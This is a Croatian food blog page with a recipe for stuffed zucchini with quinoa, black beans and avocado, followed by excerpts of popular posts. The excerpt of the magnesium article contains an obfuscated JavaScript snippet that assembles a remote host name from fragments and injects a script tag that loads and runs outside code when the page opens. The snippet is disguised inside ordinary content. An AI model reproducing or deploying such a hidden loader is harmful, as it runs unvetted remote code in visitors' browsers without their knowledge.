PUNJENE TIKVICE OD KVINOJE, CRNOG GRAHA I AVOKADA 🥑





Punjene tikvice od kvinoje, crnog graha i avokada 



Punjene tikvice s kvinojom i crnim grahom odličan su primjer kako od nekoliko jednostavnih namirnica možete pripremiti lagano, zasitno i šareno jelo. Spoj pečenog povrća, aromatičnih začina i kremastog avokada donosi obilje okusa, a recept se lako uklapa u ljetni jelovnik kada su tikvice u punoj sezoni.





Punjene tikvice od kvinoje, crnog graha i avokada 


Sastojci:

4 veće tikvice
150 g kvinoje
konzerva crnog graha
100 g svježeg špinata
avokado
manji crveni luk
režanj češnjaka
2 žlice maslinova ulja
žličica mljevenog kumina
žličica mljevenog korijandra
2 žlice soka limete
sol i papar
svježi korijandar za posluživanje




Priprema:

Zagrijte pećnicu na 180°C. Prerežite tikvice po dužini i pažljivo izdubite sredinu, ostavljajući oko 1 cm mesa uz rubove. Posložite polovice tikvica na lim obložen papirom za pečenje, premažite ih s malo maslinova ulja i pecite 20 minuta da omekšaju.

Skuhajte kvinoju prema uputama na pakiranju i ostavite sa strane. Zagrijte maslinovo ulje u tavi pa pirjajte nasjeckani luk, usitnjeni češnjak i izdubljenu unutrašnjost tikvica oko pet minuta, dok ne omekšaju. Dodajte crni grah, špinat, kumin, korijandar i sok limete. Kuhajte još nekoliko minuta da špinat uvene.

Maknite tavu s vatre pa umiješajte kuhanu kvinoju i avokado narezan na kockice. Začinite solju i paprom. Napunite pečene polovice tikvica pripremljenim nadjevom i vratite ih u pećnicu na još 10 minuta. Pospite svježim korijandrom i poslužite toplo.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više